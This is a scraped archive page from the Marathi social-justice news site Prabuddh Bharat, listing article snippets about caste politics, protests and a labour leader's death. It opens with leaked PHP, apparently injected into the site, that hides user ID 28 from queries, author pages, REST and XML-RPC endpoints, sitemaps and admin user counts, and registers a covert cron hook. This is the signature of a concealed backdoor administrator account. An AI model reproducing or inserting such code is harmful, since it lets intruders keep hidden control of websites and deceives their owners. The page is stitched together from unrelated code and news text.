add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 28;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 28 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 28 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 28;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 28;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 28;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/28(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 28;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Social Justice Archives - Page 2 of 5 - Prabuddh Bharat
No Result
View All Result
(रिमूव्हड फ्रॉम व्हॉट्सअॅप अ बिटर टेल ऑफ कास्ट अँड रिझर्व्हेशन टू पर्स्पेक्टिव्ह्स वन नेशन) लेखक: पंकज रंगारीप्रकार: सामाजिक थ्रिलरशब्दसंख्या: अंदाजे ...
पुणे - वंचित बहुजन आघाडीच्या प्रभाग क्रमांक १४ च्या वतीने पथारी व्यावसायिकांवरील अन्यायाच्या विरोधात आंदोलन करण्यात आले. बांधकाम व्यावसायिक अतुल ...
अहमदनगर : राहुरी, पाथर्डी आणि नगर या विधानसभा मतदारसंघांच्या पोटनिवडणुकीच्या पार्श्वभूमीवर वंचित बहुजन आघाडी अहमदनगर जिल्हा कार्यकारिणीने महत्त्वाचा निर्णय घेतला ...
वसई-विरार : पोलीस ठाणे हे कायद्याचे आणि संविधानाचे केंद्र असून ते कोणत्याही विशिष्ट धर्माचे प्रार्थनास्थळ नाही, अशी स्पष्ट भूमिका घेत ...
- धनंजय कांबळे महाराष्ट्राची ओळख प्रगतीशील, विवेकी आणि सामाजिक न्यायाच्या परंपरेशी जोडलेली आहे. पण सध्याच्या घडामोडी पाहिल्या, तर ही ओळख ...
जालना : भटके-विमुक्त (DNT/NT/SNT) समाजाच्या विविध मागण्यांसाठी अंबड येथे जनआक्रोश मोर्चा काढण्यात आला. डीएनटी-एनटी-एसएनटी फेडरेशन ऑफ इंडियाच्या वतीने आयोजित या ...
- शांताराम पंदेरे मध्यवर्ती कार्यकारिणी, युक्रांद, महाराष्ट्र मागून पुढे…पैकी दोन महत्वाचे निर्णय….१) गावठाण जमीन सर्व आदिवासी-दलितांचे नांवे ७/१२ च्या इतर ...
- आकाश मनिषा संतराम जागतिक महिला दिन हा स्त्रियांच्या सन्मानाचा, त्यांच्या संघर्षाचा आणि त्यांच्या हक्कांच्या लढ्याचा दिवस आहे. आज स्त्रिया ...
पुणे : ज्येष्ठ सामाजिक कार्यकर्ते आणि असंघटित कामगारांचे नेते डॉ. बाबा आढाव आज रात्री निधन झाले. पुना हॉस्पिटलमध्ये उपचारादरम्यान त्यांनी ...
देश मनुस्मृतीने नाही, तर बाबासाहेबांच्या संविधानाने चालेल! मुंबई : वंचित बहुजन आघाडीचे राष्ट्रीय अध्यक्ष अॅड. प्रकाश आंबेडकर यांनी राष्ट्रीय स्वयंसेवक ...
No Result
View All Result